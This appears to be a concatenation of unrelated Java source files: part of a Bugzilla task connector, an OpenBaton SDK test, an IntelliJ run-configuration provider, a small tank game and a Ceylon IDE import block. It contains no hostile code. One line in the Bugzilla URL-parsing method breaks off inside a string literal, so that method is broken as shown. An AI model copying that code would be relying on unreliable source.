queryForChanged(repository, changedTasks, urlQueryString, session);
}
}
for (ITask task : session.getTasks()) {
if (changedTasks.contains(task)) {
session.markStale(task);
}
}
return;
} catch (UnsupportedEncodingException e) {
throw new CoreException(new Status(IStatus.ERROR, BugzillaCorePlugin.PLUGIN_ID,
"Repository configured with unsupported encoding: " + repository.getCharacterEncoding()
+ "\n\n Unable to determine changed tasks.", e));
} finally {
monitor.done();
}
}
/**
* TODO: clean up use of BugzillaTaskDataCollector
*/
private void queryForChanged(final TaskRepository repository, Set<ITask> changedTasks, String urlQueryString,
ISynchronizationSession context) throws UnsupportedEncodingException, CoreException {
HashMap<String, ITask> taskById = new HashMap<String, ITask>();
for (ITask task : context.getTasks()) {
taskById.put(task.getTaskId(), task);
}
final Set<TaskData> changedTaskData = new HashSet<TaskData>();
TaskDataCollector collector = new TaskDataCollector() {
@Override
public void accept(TaskData taskData) {
changedTaskData.add(taskData);
}
};
BugzillaRepositoryQuery query = new BugzillaRepositoryQuery(repository.getRepositoryUrl(), urlQueryString, "");
performQuery(repository, query, collector, context, new NullProgressMonitor());
for (TaskData data : changedTaskData) {
ITask changedTask = taskById.get(data.getTaskId());
if (changedTask != null) {
changedTasks.add(changedTask);
}
}
}
@Override
public boolean canCreateTaskFromKey(TaskRepository repository) {
return true;
}
@Override
public boolean canCreateNewTask(TaskRepository repository) {
return true;
}
@Override
public IStatus performQuery(TaskRepository repository, final IRepositoryQuery query,
TaskDataCollector resultCollector, ISynchronizationSession event, IProgressMonitor monitor) {
try {
monitor.beginTask("Running query", IProgressMonitor.UNKNOWN);
BugzillaClient client = getClientManager().getClient(repository, monitor);
TaskAttributeMapper mapper = getTaskDataHandler().getAttributeMapper(repository);
boolean hitsReceived = client.getSearchHits(query, resultCollector, mapper, monitor);
if (!hitsReceived) {
// XXX: HACK in case of ip change bugzilla can return 0 hits
// due to invalid authorization token, forcing relogin fixes
client.logout(monitor);
client.getSearchHits(query, resultCollector, mapper, monitor);
}
return Status.OK_STATUS;
} catch (UnrecognizedReponseException e) {
return new Status(IStatus.ERROR, BugzillaCorePlugin.PLUGIN_ID, IStatus.INFO,
"Unrecognized response from server", e);
} catch (IOException e) {
return new Status(IStatus.ERROR, BugzillaCorePlugin.PLUGIN_ID, IStatus.ERROR,
"Check repository configuration: " + e.getMessage(), e);
} catch (CoreException e) {
return e.getStatus();
} finally {
monitor.done();
}
}
@Override
public String getRepositoryUrlFromTaskUrl(String url) {
if (url == null) {
return null;
}
int index = url.indexOf(IBugzillaConstants.URL_GET_SHOW_BUG);
return index == -1 ? null : url.substring(0, index);
}
@Override
public String getTaskIdFromTaskUrl(String url) {
if (url == null) {
return null;
}
int anchorIndex = url.lastIndexOf("
String bugUrl = url;
if (anchorIndex != -1) {
bugUrl = url.substring(0, anchorIndex);
}
int index = bugUrl.indexOf(IBugzillaConstants.URL_GET_SHOW_BUG);
return index == -1 ? null : bugUrl.substring(index + IBugzillaConstants.URL_GET_SHOW_BUG.length());
}
@Override
public String getTaskUrl(String repositoryUrl, String taskId) {
try {
return BugzillaClient.getBugUrlWithoutLogin(repositoryUrl, taskId);
} catch (Exception e) {
StatusHandler.log(new Status(IStatus.ERROR, BugzillaCorePlugin.PLUGIN_ID,
"Error constructing task url for " + repositoryUrl + " id:" + taskId, e));
}
return null;
}
@Override
public String getTaskIdPrefix() {
return "bug";
}
public BugzillaClientManager getClientManager() {
if (clientManager == null) {
clientManager = new BugzillaClientManager();
// TODO: Move this initialization elsewhere
BugzillaCorePlugin.setConnector(this);
BugzillaLanguageSettings enSetting = new BugzillaLanguageSettings(IBugzillaConstants.DEFAULT_LANG);
enSetting.addLanguageAttribute("error_login", "Login");
enSetting.addLanguageAttribute("error_login", "log in");
enSetting.addLanguageAttribute("error_login", "check e-mail");
enSetting.addLanguageAttribute("error_login", "Invalid Username Or Password");
enSetting.addLanguageAttribute("error_collision", "Mid-air collision!");
enSetting.addLanguageAttribute("error_comment_required", "Comment Required");
enSetting.addLanguageAttribute("error_logged_out", "logged out");
enSetting.addLanguageAttribute("bad_login", "Login");
enSetting.addLanguageAttribute("bad_login", "log in");
enSetting.addLanguageAttribute("bad_login", "check e-mail");
enSetting.addLanguageAttribute("bad_login", "Invalid Username Or Password");
enSetting.addLanguageAttribute("bad_login", "error");
enSetting.addLanguageAttribute("processed", "processed");
enSetting.addLanguageAttribute("changes_submitted", "Changes submitted");
languages.add(enSetting);
}
return clientManager;
}
@Override
public void updateRepositoryConfiguration(TaskRepository repository, IProgressMonitor monitor) throws CoreException {
if (repository != null) {
BugzillaCorePlugin.getRepositoryConfiguration(repository, true, monitor);
}
}
@Override
public boolean isRepositoryConfigurationStale(TaskRepository repository, IProgressMonitor monitor)
throws CoreException {
if (super.isRepositoryConfigurationStale(repository, monitor)) {
boolean result = true;
try {
BugzillaClient client = getClientManager().getClient(repository, monitor);
if (client != null) {
String timestamp = client.getConfigurationTimestamp(monitor);
if (timestamp != null) {
String oldTimestamp = repository.getProperty(IBugzillaConstants.PROPERTY_CONFIGTIMESTAMP);
if (oldTimestamp != null) {
result = !timestamp.equals(oldTimestamp);
}
repository.setProperty(IBugzillaConstants.PROPERTY_CONFIGTIMESTAMP, timestamp);
}
}
} catch (MalformedURLException e) {
StatusHandler.log(new Status(IStatus.ERROR, BugzillaCorePlugin.PLUGIN_ID,
"Error retrieving configuration timestamp for " + repository.getRepositoryUrl(), e));
}
return result;
}
return false;
}
public static int getBugId(String taskId) throws CoreException {
try {
return Integer.parseInt(taskId);
} catch (NumberFormatException e) {
throw new CoreException(new Status(IStatus.ERROR, BugzillaCorePlugin.PLUGIN_ID, 0, "Invalid bug id: "
+ taskId, e));
}
}
public void addLanguageSetting(BugzillaLanguageSettings language) {
if (!languages.contains(language)) {
this.languages.add(language);
}
}
public Set<BugzillaLanguageSettings> getLanguageSettings() {
return languages;
}
/** returns default language if language not found */
public BugzillaLanguageSettings getLanguageSetting(String label) {
for (BugzillaLanguageSettings language : getLanguageSettings()) {
if (language.getLanguageName().equals(label)) {
return language;
}
}
return BugzillaCorePlugin.getDefault().getLanguageSetting(IBugzillaConstants.DEFAULT_LANG);
}
@Override
public void postSynchronization(ISynchronizationSession event, IProgressMonitor monitor) throws CoreException {
try {
monitor.beginTask("", 1);
if (event.isFullSynchronization()) {
event.getTaskRepository().setSynchronizationTimeStamp(getSynchronizationTimestamp(event));
}
} finally {
monitor.done();
}
}
@Override
public TaskData getTaskData(TaskRepository repository, String taskId, IProgressMonitor monitor)
throws CoreException {
return taskDataHandler.getTaskData(repository, taskId, monitor);
}
@Override
public AbstractTaskDataHandler getTaskDataHandler() {
return taskDataHandler;
}
@Override
public boolean hasTaskChanged(TaskRepository taskRepository, ITask task, TaskData taskData) {
if (taskData.isPartial()) {
return false;
}
String lastKnownMod = task.getAttribute(BugzillaAttribute.DELTA_TS.getKey());
if (lastKnownMod != null) {
TaskAttribute attrModification = taskData.getRoot().getMappedAttribute(TaskAttribute.DATE_MODIFICATION);
if (attrModification != null) {
return !lastKnownMod.equals(attrModification.getValue());
}
}
return true;
}
@Override
public Collection<TaskRelation> getTaskRelations(TaskData taskData) {
List<TaskRelation> relations = new ArrayList<TaskRelation>();
TaskAttribute attribute = taskData.getRoot().getAttribute(BugzillaAttribute.DEPENDSON.getKey());
if (attribute != null && attribute.getValue().length() > 0) {
for (String taskId : attribute.getValue().split(",")) {
relations.add(TaskRelation.subtask(taskId.trim()));
}
}
return relations;
}
private String getSynchronizationTimestamp(ISynchronizationSession event) {
Date mostRecent = new Date(0);
String mostRecentTimeStamp = event.getTaskRepository().getSynchronizationTimeStamp();
for (ITask task : event.getChangedTasks()) {
Date taskModifiedDate = task.getModificationDate();
if (taskModifiedDate != null && taskModifiedDate.after(mostRecent)) {
mostRecent = taskModifiedDate;
mostRecentTimeStamp = task.getAttribute(BugzillaAttribute.DELTA_TS.getKey());
}
}
return mostRecentTimeStamp;
}
@Override
public boolean hasRepositoryDueDate(TaskRepository taskRepository, ITask task, TaskData taskData) {
return taskData.getRoot().getAttribute(BugzillaAttribute.ESTIMATED_TIME.getKey()) != null;
}
}
|
package org.openbaton.sdk.test;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import org.junit.Ignore;
import org.junit.Test;
import org.openbaton.catalogue.mano.common.DeploymentFlavour;
import org.openbaton.catalogue.mano.descriptor.NetworkServiceDescriptor;
import org.openbaton.catalogue.mano.descriptor.VirtualDeploymentUnit;
import org.openbaton.catalogue.mano.descriptor.VirtualNetworkFunctionDescriptor;
import org.openbaton.catalogue.mano.record.PhysicalNetworkFunctionRecord;
import org.openbaton.catalogue.mano.record.VNFRecordDependency;
import org.openbaton.catalogue.mano.record.VirtualNetworkFunctionRecord;
import org.openbaton.catalogue.nfvo.*;
import org.openbaton.sdk.api.exception.SDKException;
import org.openbaton.sdk.NFVORequestor;
import org.openbaton.sdk.api.rest.EventAgent;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
public class SdkTest {
private Logger log = LoggerFactory.getLogger(this.getClass());
private VimInstance vimInstance;
private VimInstance res;
private final static String descriptorFileName = "../../descriptors/network_service_descriptors/NetworkServiceDescriptor-with-dependencies.json";
@Test
@Ignore
public void createTest() throws SDKException, FileNotFoundException {
NFVORequestor requestor = new NFVORequestor("1");
vimInstance = createVimInstance();
res = (VimInstance) requestor.abstractRestAgent(VimInstance.class,"/datacenters").create(vimInstance);
log.debug("Result is: "+res);
// NetworkServiceDescriptor networkServiceDescriptor = createNetworkServiceDescriptor();
GsonBuilder gsonBuilder = new GsonBuilder();
Gson mapper = gsonBuilder.create();
NetworkServiceDescriptor networkServiceDescriptor = mapper.fromJson(new FileReader(descriptorFileName), NetworkServiceDescriptor.class);
log.debug("Sending: " + networkServiceDescriptor);
NetworkServiceDescriptor res2 = requestor.getNetworkServiceDescriptorAgent().create(networkServiceDescriptor);
log.debug("DESCRIPTOR: "+res2);
EventAgent eventAgent = requestor.getEventAgent();
EventEndpoint eventEndpoint = new EventEndpoint();
eventEndpoint.setType(EndpointType.REST);
eventEndpoint.setEndpoint("http://localhost:8082/callme");
eventEndpoint.setEvent(Action.INSTANTIATE_FINISH);
eventEndpoint.setNetworkServiceId("idhere");
EventEndpoint endpoint = eventAgent.create(eventEndpoint);
eventAgent.delete(endpoint.getName());
//SECURITY//
// Security security = new Security();
// Security res = requestor.getNetworkServiceDescriptorAgent().createSecurity(res2.getId(),security);
// Security security2 = new Security();
// Security res3 = requestor.getNetworkServiceDescriptorAgent().updateSecurity(res2.getId(),res.getId(),security2);
// log.debug("Received: " + res3.toString());
//PHYSICALNETWORKFUNCTIONDESCRIPTOR//
// PhysicalNetworkFunctionDescriptor origin = new PhysicalNetworkFunctionDescriptor();
// PhysicalNetworkFunctionDescriptor source = requestor.getNetworkServiceDescriptorAgent().createPhysicalNetworkFunctionDescriptor(res2.getId(),origin);
// PhysicalNetworkFunctionDescriptor response = requestor.getNetworkServiceDescriptorAgent().getPhysicalNetworkFunctionDescriptor(res2.getId(),source.getId());
// log.debug("Received: " + response.toString());
//VNFDependency//
// VNFDependency vnfDependency = new VNFDependency();
// VNFDependency res = requestor.getNetworkServiceDescriptorAgent().createVNFDependency(res2.getId(),vnfDependency);
// VNFDependency vnfDependency2 = new VNFDependency();
// VNFDependency res3 = requestor.getNetworkServiceDescriptorAgent().updateVNFD(res2.getId(),res.getId(),vnfDependency2);
//VIRTUAL_NETWORK_FUNCTION_DESCRIPTOR
//CREATE//
// VirtualNetworkFunctionDescriptor virtualNetworkFunctionDescriptor = createVNFDescriptor();
// VirtualNetworkFunctionDescriptor res = requestor.getNetworkServiceDescriptorAgent().createVNFD(res2.getId(), virtualNetworkFunctionDescriptor);
// log.debug("POST_VNFDescriptor: " + res.toString());
//UPDATE//
// VirtualNetworkFunctionDescriptor res = requestor.getNetworkServiceDescriptorAgent().updateVNFD(res2.getId(), res2.getVnfd().iterator().next().getId(),response);
// log.debug("UPDATE_VNFDescriptor: " + res.toString());
//NETWORK_SERVICE_RECORD
// NetworkServiceRecord networkServiceRecord = requestor.getNetworkServiceRecordAgent().create(res2.getId());
// log.debug("RECORD: "+networkServiceRecord);
// VirtualNetworkFunctionRecord[] response = requestor.getNetworkServiceRecordAgent().getVirtualNetworkFunctionRecords(networkServiceRecord.getId());
// for (VirtualNetworkFunctionRecord virtualNetworkFunctionRecord : response)
// log.debug("Received: " + virtualNetworkFunctionRecord.toString());
// requestor.getNetworkServiceRecordAgent().deleteVirtualNetworkFunctionRecord(networkServiceRecord.getId(), networkServiceRecord.getVnfr().iterator().next().getId());
//VIRTUAL_NETWORK_FUNCTION_RECORD
//-CREATE VNFR//
// VirtualNetworkFunctionRecord virtualNetworkFunctionRecord = new VirtualNetworkFunctionRecord();
// VirtualNetworkFunctionRecord response = requestor.getNetworkServiceRecordAgent().createVNFR(networkServiceRecord.getId(), virtualNetworkFunctionRecord);
// log.debug("Received: " + response.toString());
// //-UPDATE VNFR//
// VirtualNetworkFunctionRecord update = new VirtualNetworkFunctionRecord();
// requestor.getNetworkServiceRecordAgent().updateVNFR(networkServiceRecord.getId(), networkServiceRecord.getVnfr().iterator().next().getId(), update);
//VIRTUAL_NETWORK_RECORD_DEPENDENCY
//requestor.getNetworkServiceRecordAgent().deleteVNFDependency(networkServiceRecord.getId(), networkServiceRecord.getVnf_dependency().iterator().next().getId());
// VNFRecordDependency vnfDependency = createVNFDependency();
// VNFRecordDependency res = requestor.getNetworkServiceRecordAgent().postVNFDependency(networkServiceRecord.getId(), vnfDependency);
// log.debug("POST_VNFD: " + res.toString());
// VNFRecordDependency res = requestor.getNetworkServiceRecordAgent().updateVNFDependency(networkServiceRecord.getId(), networkServiceRecord.getVnf_dependency().iterator().next().getId(), vnfDependency);
// log.debug("UPDAPTE_VNFD: " + res.toString());
}
private VirtualNetworkFunctionDescriptor createVNFDescriptor(){
VirtualNetworkFunctionDescriptor virtualNetworkFunctionDescriptor = new VirtualNetworkFunctionDescriptor();
virtualNetworkFunctionDescriptor.setName("fokusland");
virtualNetworkFunctionDescriptor.setVendor("fokus");
return virtualNetworkFunctionDescriptor;
}
private PhysicalNetworkFunctionRecord createPNFR()
{
PhysicalNetworkFunctionRecord physicalNetworkFunctionRecord = new PhysicalNetworkFunctionRecord();
physicalNetworkFunctionRecord.setDescription("Warp 2000");
physicalNetworkFunctionRecord.setVendor("fokus");
return physicalNetworkFunctionRecord;
}
private VNFRecordDependency createVNFDependency(){
VirtualNetworkFunctionRecord source = new VirtualNetworkFunctionRecord();
source.setName("vnf-dummy-2");
VirtualNetworkFunctionRecord target = new VirtualNetworkFunctionRecord();
target.setName("vnf-dummy-1");
VNFRecordDependency vnfDependency = new VNFRecordDependency();
// vnfDependency.setSource(source);
// vnfDependency.setTarget(target);
return vnfDependency;
}
private VimInstance createVimInstance() {
VimInstance vimInstance = new VimInstance();
vimInstance.setName("vim-instance");
vimInstance.setType("test");
vimInstance.setNetworks(new HashSet<Network>() {{
Network network = new Network();
network.setExtId("ext_id");
network.setName("network_name");
List<Subnet> subnets = new ArrayList<Subnet>();
Subnet subnet = new Subnet();
subnet.setName("subnet name");
subnet.setCidr("cidrs");
subnets.add(subnet);
network.setSubnets(new HashSet<Subnet>());
add(network);
}});
vimInstance.setFlavours(new HashSet<DeploymentFlavour>() {{
DeploymentFlavour deploymentFlavour = new DeploymentFlavour();
deploymentFlavour.setExtId("ext_id_1");
deploymentFlavour.setFlavour_key("flavor_name");
add(deploymentFlavour);
deploymentFlavour = new DeploymentFlavour();
deploymentFlavour.setExtId("ext_id_2");
deploymentFlavour.setFlavour_key("m1.tiny");
add(deploymentFlavour);
}});
vimInstance.setImages(new HashSet<NFVImage>() {{
NFVImage image = new NFVImage();
image.setExtId("ext_id_1");
image.setName("ubuntu-14.04-server-cloudimg-amd64-disk1");
add(image);
image = new NFVImage();
image.setExtId("ext_id_2");
image.setName("image_name_1");
add(image);
}});
return vimInstance;
}
private NetworkServiceDescriptor createNetworkServiceDescriptor(){
NetworkServiceDescriptor networkServiceDescriptor = new NetworkServiceDescriptor();
VirtualNetworkFunctionDescriptor vnfd = new VirtualNetworkFunctionDescriptor();
vnfd.setName("" + Math.random());
vnfd.setType("dummy");
VirtualDeploymentUnit vdu = new VirtualDeploymentUnit();
vdu.setVirtual_memory_resource_element("1024");
vdu.setVirtual_network_bandwidth_resource("1000000");
VimInstance instance = new VimInstance();
instance.setId(null);
instance.setName(vimInstance.getName());
//vdu.setVimInstance(instance);
vdu.setVm_image(new HashSet<String>() {{
add("image_name_1");
}});
vdu.setScale_in_out(3);
vdu.setMonitoring_parameter(new HashSet<String>() {{
add("cpu_utilization");
}});
vnfd.setVdu(new HashSet<VirtualDeploymentUnit>());
vnfd.getVdu().add(vdu);
networkServiceDescriptor.setVnfd(new HashSet<VirtualNetworkFunctionDescriptor>());
networkServiceDescriptor.getVnfd().add(vnfd);
networkServiceDescriptor.setVendor("fokus");
networkServiceDescriptor.setVersion("1");
return networkServiceDescriptor;
}
public static void main(String[] args) throws SDKException, FileNotFoundException {
new SdkTest().createTest();
}
}
|
package com.intellij.ide.actions.runAnything.activity;
import com.intellij.execution.Executor;
import com.intellij.execution.RunnerAndConfigurationSettings;
import com.intellij.execution.actions.ChooseRunConfigurationPopup;
import com.intellij.ide.actions.runAnything.RunAnythingRunConfigurationItem;
import com.intellij.ide.actions.runAnything.items.RunAnythingItem;
import com.intellij.openapi.actionSystem.DataContext;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import javax.swing.*;
import static com.intellij.ide.actions.runAnything.RunAnythingAction.EXECUTOR_KEY;
import static com.intellij.ide.actions.runAnything.RunAnythingUtil.fetchProject;
public abstract class RunAnythingRunConfigurationProvider extends RunAnythingProviderBase<ChooseRunConfigurationPopup.ItemWrapper> {
@NotNull
@Override
public String getCommand(@NotNull ChooseRunConfigurationPopup.ItemWrapper value) {
return value.getText();
}
@Override
public void execute(@NotNull DataContext dataContext, @NotNull ChooseRunConfigurationPopup.ItemWrapper wrapper) {
Executor executor = EXECUTOR_KEY.getData(dataContext);
assert executor != null;
wrapper.perform(fetchProject(dataContext), executor, dataContext);
}
@Nullable
@Override
public Icon getIcon(@NotNull ChooseRunConfigurationPopup.ItemWrapper value) {
return value.getIcon();
}
@Nullable
@Override
public String getAdText() {
return RunAnythingRunConfigurationItem.RUN_CONFIGURATION_AD_TEXT;
}
@NotNull
@Override
public RunAnythingItem getMainListItem(@NotNull DataContext dataContext, @NotNull ChooseRunConfigurationPopup.ItemWrapper value) {
return new RunAnythingRunConfigurationItem(value, value.getIcon());
}
}
|
package brownshome.scriptwars.game.tanks;
import java.awt.Color;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.*;
import java.util.function.Function;
import javax.imageio.ImageIO;
import brownshome.scriptwars.connection.ConnectionHandler;
import brownshome.scriptwars.connection.InvalidIDException;
import brownshome.scriptwars.connection.UDPConnectionHandler;
import brownshome.scriptwars.game.*;
import brownshome.scriptwars.game.tanks.ai.*;
/* Each tick shots are moved x spaces. Then tanks shoot. Then tanks move */
public class TankGame extends Game {
public static final int PLAYER_COUNT = 8;
private static final int NUMBER_OF_AMMO_PICKUPS = 5;
private final List<Player<?>> players = Arrays.asList(new Player[PLAYER_COUNT]);
private World world;
public TankGame(boolean[][] map, GameType type) throws OutOfIDsException {
super(type);
this.world = new World(map, this);
this.getDisplayHandler().putStaticGrid(getStaticGrid());
}
@Override
protected DisplayHandler constructDisplayHandler() {
return new TankGameDisplayHandler(this);
}
@Override
public TankGameDisplayHandler getDisplayHandler() {
return (TankGameDisplayHandler) super.getDisplayHandler();
}
public TankGame(GameType type) throws OutOfIDsException {
this(MapGenerator.getGenerator().withSize(25, 25).generate(), type);
}
@Override
public boolean hasPerPlayerData() {
return true;
}
@Override
public int getMaximumPlayers() {
return PLAYER_COUNT;
}
@Override
public int getTickRate() {
return 250;
}
@Override
public void tick() {
world.finalizeMovement();
world.pickupAmmo();
world.moveShots();
world.fireTanks();
world.spawnPlayers();
}
@Override
public int getDataSize() {
return
9 //Headers and single values
+ getMaximumPlayers() * 3 //Tank x, y, id
+ world.getDataSize() //World data
+ Tank.MAX_AMMO * getMaximumPlayers() * 3 //Shot data x, y, direction
+ numberOfAmmoPickups() * 2; //Ammo pickups x, y
}
protected int numberOfAmmoPickups() {
return NUMBER_OF_AMMO_PICKUPS;
}
/**
*
* byte: 0/1 alive or dead
* byte: ammoRemaining
* byte: x
* byte: y
* byte: width
* byte: height
*
* width * height * boolean: wall array
*
* byte: players
* players * {
* byte: x
* byte: y
* byte: id
* }
*
* byte: shots
* shots * {
* byte: x
* byte: y
* byte: direction
* }
*
* byte: ammoPickups
* shots * {
* byte: x
* byte: y
* }
*/
@Override
public boolean getData(Player<?> player, ByteBuffer data) {
boolean isAlive = world.isAlive(player);
data.put(isAlive ? (byte) 1 : (byte) 0);
if(isAlive) {
Tank tank = world.getTank(player);
data.put((byte) tank.ammo());
data.put((byte) tank.getPosition().getX());
data.put((byte) tank.getPosition().getY());
data.put((byte) world.getWidth());
data.put((byte) world.getHeight());
world.writeWorld(data);
Collection<Tank> visibleTanks = world.getVisibleTanks(player);
data.put((byte) visibleTanks.size());
for(Tank otherTank : visibleTanks) {
int slot = getIndex(otherTank.getOwner());
data.put((byte) otherTank.getPosition().getX());
data.put((byte) otherTank.getPosition().getY());
data.put((byte) slot);
}
Collection<Shot> shots = world.getShots();
data.put((byte) shots.size());
for(Shot shot : shots) {
data.put((byte) shot.getPosition().getX());
data.put((byte) shot.getPosition().getY());
data.put((byte) shot.getDirection().ordinal());
}
Collection<Coordinates> ammoPickups = world.getAmmoPickups();
data.put((byte) ammoPickups.size());
for(Coordinates pickup : ammoPickups) {
data.put((byte) pickup.getX()).put((byte) pickup.getY());
}
}
return true;
}
@Override
public void processData(ByteBuffer data, Player<?> player) {
if(!world.isAlive(player))
world.spawnTank(player);
Action action = Action.values()[data.get()];
switch(action) {
case MOVE:
world.moveTank(player, Direction.values()[data.get()]);
break;
case NOTHING:
break;
case SHOOT:
Tank tank = world.getTank(player);
tank.setDirection(Direction.values()[data.get()]);
world.fireNextTick(player);
break;
}
}
public static String getName() {
return "Tanks";
}
public static String getDescription() {
return "A tactical 2D tank game with stealth mechanics.";
}
public static Map<String, BotFunction> getBotFunctions() {
Map<String, BotFunction> mapping = new HashMap<>();
//mapping.put("Hard AI", HardAI::main);
mapping.put("Random AI", RandomAI::main);
mapping.put("Simple AI", SimpleAI::main);
//mapping.put("Scared AI", ScaredAI::main);
//mapping.put("Aggressive AI", AggressiveAI::main);
return mapping;
}
@Override
public void displayGame() {
TankGameDisplayHandler handler = getDisplayHandler();
world.displayWorld(handler);
handler.sendUpdates();
}
@Override
public void addPlayer(Player<?> player) throws InvalidIDException {
super.addPlayer(player);
task: {
for(int i = 0; i < PLAYER_COUNT; i++) {
if(players.get(i) == null) {
players.set(i, player);
break task;
}
}
assert false : "Too many players";
}
world.spawnTank(player);
}
public int getIndex(Player<?> owner) {
int result = players.indexOf(owner);
if(result == -1)
throw new RuntimeException("Player not found");
return result;
}
@Override
public void removePlayer(Player<?> player) {
super.removePlayer(player);
task: {
for(int i = 0; i < players.size(); i++) {
if(players.get(i) == player) {
players.set(i, null);
break task;
}
}
assert false : "That player does not exist";
}
if(world.isAlive(player))
world.removeTank(player);
}
@Override
public ConnectionHandler<?> getPreferedConnectionHandler() {
return UDPConnectionHandler.instance();
}
@Override
public BufferedImage getIcon(Player<?> player, Function<String, File> pathTranslator) throws IOException {
Color colour = Player.colours[this.getIndex(player)];
BufferedImage result = ImageIO.read(pathTranslator.apply("icon.png"));
for(int x = 0; x < result.getWidth(); x++) {
for(int y = 0; y < result.getHeight(); y++) {
Color original = new Color(result.getRGB(x, y), true);
int r = blend(original.getRed(), colour.getRed());
int g = blend(original.getGreen(), colour.getGreen());
int b = blend(original.getBlue(), colour.getBlue());
result.setRGB(x, y, original.getAlpha() << 24 | r << 16 | g << 8 | b);
}
}
return result;
}
private int blend(int a, int b) {
return 255 - (255 - a) * (255 - b) / 255;
}
byte[][] getStaticGrid() {
byte[][] grid = new byte[world.getHeight()][world.getWidth()];
for(int x = 0; x < world.getWidth(); x++) {
for(int y = 0; y < world.getHeight(); y++) {
if(world.isWall(x, y))
grid[y][x] = (byte) TankGameDisplayHandler.StaticSprites.WALL.ordinal();
else
grid[y][x] = (byte) TankGameDisplayHandler.StaticSprites.NOTHING.ordinal();
}
}
return grid;
}
}
|
package com.redhat.ceylon.eclipse.code.quickfix;
import static com.redhat.ceylon.compiler.loader.AbstractModelLoader.JDK_MODULE_VERSION;
import static com.redhat.ceylon.compiler.typechecker.model.Util.intersectionType;
import static com.redhat.ceylon.compiler.typechecker.model.Util.unionType;
import static com.redhat.ceylon.compiler.typechecker.tree.Util.formatPath;
import static com.redhat.ceylon.eclipse.code.outline.CeylonLabelProvider.ADD;
import static com.redhat.ceylon.eclipse.code.outline.CeylonLabelProvider.ATTRIBUTE;
import static com.redhat.ceylon.eclipse.code.outline.CeylonLabelProvider.CHANGE;
import static com.redhat.ceylon.eclipse.code.outline.CeylonLabelProvider.CLASS;
import static com.redhat.ceylon.eclipse.code.outline.CeylonLabelProvider.INTERFACE;
import static com.redhat.ceylon.eclipse.code.outline.CeylonLabelProvider.METHOD;
import static com.redhat.ceylon.eclipse.code.parse.CeylonSourcePositionLocator.findNode;
import static com.redhat.ceylon.eclipse.code.parse.CeylonSourcePositionLocator.findStatement;
import static com.redhat.ceylon.eclipse.code.parse.CeylonSourcePositionLocator.getIdentifyingNode;
import static com.redhat.ceylon.eclipse.code.propose.CeylonContentProposer.getProposals;
import static com.redhat.ceylon.eclipse.code.propose.CeylonContentProposer.getRefinedProducedReference;
import static com.redhat.ceylon.eclipse.code.propose.CeylonContentProposer.getRefinementTextFor;
import static com.redhat.ceylon.eclipse.code.quickfix.AddConstraintSatisfiesProposal.addConstraintSatisfiesProposals;
import static com.redhat.ceylon.eclipse.code.quickfix.AddParameterProposal.addParameterProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.AddParenthesesProposal.addAddParenthesesProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.AddSpreadToVariadicParameterProposal.addEllipsisToSequenceParameterProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.AddThrowsAnnotationProposal.addThrowsAnnotationProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.AssignToLocalProposal.addAssignToLocalProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ChangeDeclarationProposal.addChangeDeclarationProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ChangeInitialCaseOfIdentifierInDeclaration.addChangeIdentifierCaseProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ChangeMultilineStringIndentationProposal.addFixMultilineStringIndentation;
import static com.redhat.ceylon.eclipse.code.quickfix.ConvertGetterToMethodProposal.addConvertGetterToMethodProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ConvertIfElseToThenElse.addConvertToThenElseProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ConvertMethodToGetterProposal.addConvertMethodToGetterProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ConvertThenElseToIfElse.addConvertToIfElseProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ConvertToBlockProposal.addConvertToBlockProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ConvertToGetterProposal.addConvertToGetterProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ConvertToSpecifierProposal.addConvertToSpecifierProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.CreateLocalSubtypeProposal.addCreateLocalSubtypeProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.CreateObjectProposal.addCreateObjectProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ImplementFormalAndAmbiguouslyInheritedMembersProposal.addImplementFormalAndAmbiguouslyInheritedMembersProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.InvertIfElse.addReverseIfElseProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.ShadowReferenceProposal.addShadowReferenceProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.SpecifyTypeProposal.addSpecifyTypeProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.SplitDeclarationProposal.addSplitDeclarationProposal;
import static com.redhat.ceylon.eclipse.code.quickfix.Util.getLevenshteinDistance;
import static com.redhat.ceylon.eclipse.core.builder.CeylonBuilder.PROBLEM_MARKER_ID;
import static com.redhat.ceylon.eclipse.core.builder.CeylonBuilder.getFile;
import static com.redhat.ceylon.eclipse.core.builder.CeylonBuilder.getProjectTypeChecker;
import static com.redhat.ceylon.eclipse.core.builder.CeylonBuilder.getUnits;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import org.eclipse.core.resources.IFile;
import org.eclipse.core.resources.IProject;
import org.eclipse.jface.text.BadLocationException;
import org.eclipse.jface.text.IDocument;
import org.eclipse.jface.text.IRegion;
import org.eclipse.jface.text.contentassist.ICompletionProposal;
import org.eclipse.jface.text.quickassist.IQuickAssistInvocationContext;
import org.eclipse.jface.text.source.Annotation;
import org.eclipse.ltk.core.refactoring.DocumentChange;
import org.eclipse.ltk.core.refactoring.TextChange;
import org.eclipse.ltk.core.refactoring.TextFileChange;
import org.eclipse.swt.graphics.Image;
import org.eclipse.text.edits.InsertEdit;
import org.eclipse.text.edits.MultiTextEdit;
import org.eclipse.text.edits.ReplaceEdit;
import org.eclipse.ui.IEditorPart;
